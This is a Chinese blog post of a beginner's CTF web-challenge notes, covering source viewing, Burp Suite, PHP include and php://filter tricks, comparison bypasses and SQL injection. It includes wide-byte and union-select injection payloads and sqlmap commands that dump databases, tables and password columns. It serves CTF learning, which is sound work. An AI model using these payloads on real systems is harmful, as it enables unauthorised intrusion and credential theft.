

ctf-web--总结几点基础题的做题思路

原创

SankyOu 于 2017-08-14 22:11:03 发布 20792 收藏 87

文章标签: [ctf web 小结](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/SankyOu/article/details/77170651>

版权

做了三天web题了, 因为刚入门, 还是不要做得太快, 先把前几天学到的好好总结一下, 主要是做了几道bugku上的web题和合天网安的几道web题, 这篇博客先写一些自己的收获, 后面再写两篇writeup复习巩固一下做题思路。

1. 看源码

可以右键->【查看网页源代码】, 也可以用火狐和谷歌浏览器的按F12键, 按F12键可以修改html源代码方便构造一些值提交, 但如果不需要的话直接右键查看源代码更直观, 看网页里面的注释之类的都很方便。

2. 抓包

这几天接触到的抓包一般是用burpsuite, 如果要多次尝试可以右键->【send to Repeater】, 如果要对某个字段爆破可以右键->【send to Intruder】, 这是我比较常用的两种burpsuite的功能。

今天还接触到谷歌浏览器: F12->Network->勾选【Preserve log】, 也可以方便查看请求包和响应包的数据(包头字段和网页数据等)。

3. 关注的几个地方

有时候打开网页后感觉没有可疑的地方, 首先查看下源代码, 看有没有注释之类的提示信息, 之后重新打开网页, 抓抓包看下请求包响应包的包头数据有没有可疑的地方。

4. include漏洞

遇到php代码中有include(\$file)的, 一般和 php://input或者php://filter有关, \$file值如果是php://input, 就要用post表单构造数据, 如果是php://filter, 就用下面的payload读取文件base64加密后的源代码, 解密后查看源代码。

```
php://filter/read=convert.base64-encoding/resource=文件名(如index.php)
```

5. 代码审计

需要多次动态调试来尝试, 以及要关注里面出现的函数, 出现在关键位置的函数一般都是有用的, 搜索一下有没有相关的漏洞。还有一些和数据处理有关的绕过, 如md5函数结果相等(0ed+)的比较, 以及strcmp(array,string)=null, 除了遇到时多百度之外, 平时也需要多积累到时候才能想到。

还有GET参数构造的时候如果传入的是数组要记得加[], ?txt=[1,2,3], 如果填?txt=[1,2,3]似乎不会被当做array处理。

6. 编码

JS的几种编码(如JSFUCK)都可以在浏览器F12之后的控制台执行, 这样可以省去找解密网站的时间。

html编码, base64编码, url编码等等都可以在burpsuite上的decoder栏解决, 但是发现burpsuite有一点不好就是中文不能显示, 不知道是不是字符编码没有配置好, 找到一个网址:

https://emn178.github.io/online-tools/base64_decode.html

可以解好几种, 界面也很简洁。

7. SQL注入

最近搞清楚了布尔注入，盲注之类的意思，布尔注入就像一个只会告诉你对或错的机器人，然后你去问他问题从而解决问题，盲注是说不会有提示信息，虽然对数据库的操作依然存在，但是不论是否操作成功都不会告诉你。

a>对一个注入语句记个笔记：

```
%df' union select 1,database() %23
%df' union select 1,string from sql5.key %23
```

%df是在编码为gbk的时候用于宽字节注入的；%23就是#，但是用#不能通过；还有可以直接用 union select 字段名 from 数据库名.表名 的方式获取字段的值。

b>对用sqlmap进行手工注入的一些步骤记个笔记

首先找到可以注入的点，比如找到网页的某个动态页面是可以注入用来显示信息的，然后将这个url用sqlmap来暴库爆表。

```
python sqlmap.py -u "url" --level 3 --batch --dbs
python sqlmap.py -u "url" --level 3 --batch -D ctf --tables
python sqlmap.py -u "url" --level 3 --batch -D ctf -T flag --columns --dump
```

-batch sqlmap不会询问你输入 全部默认确定

-level 3 指定等级，大于等于3的时候会涉及到http头注入的Referer字段

- (两个-) 符号用于查询，比如-dbs用于查询所有的数据库，-tables用于查询所有的表，- (一个-) 符号用于指定，比如-D ctf 用于指定查询的是ctf数据库，-T flag用于指定查询的是flag表，-dump可以用来将表中字段的值显示出来。

c>还有一些用union select来获得数据库信息的，链接

<http://www.2cto.com/article/201208/151503.html>

讲得很全面。

```
1. @@version()      MYSQL 版本
2. @@database()    当前数据库
3. @@user()        当前用户
4. @@datadir       当前数据库路径
5. @@version_compile_os 操作系统版本
```

```
1. concat(str1,str2,...)      没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...) 用分隔符连接字符串
3. group_concat(str1,str2,...) 用逗号分隔字符串
```

1. 查数据库名，用户名

```
union select 1,2,concat(user(),database(),version()),4,.....,N --
(最后--用于注释掉后面sql语句避免出错) 得到数据库名
```

2. 查表名：

```
union select group_concat(0x0a,table_name),2 from information_schema.tables where table_schema=库名十六进
(库名十六进制可以用database()代替)
```

3. 查列名

```
union select group_concat(0x0a,column_name),2 from information_schema.columns where table_schema=databa
(也可以把表名改为十六进制编码0x7573657273)
```

4. 查需要的信息 (用户名和密码)

```
union select group_concat(distinct 0x0a,user_id,0x0a,first_name,0x0a,last_name,0x0a,user,0x0a,password,
```

总结的都比较散碎也比较基础，以后积累的多了一些之后再继续补充。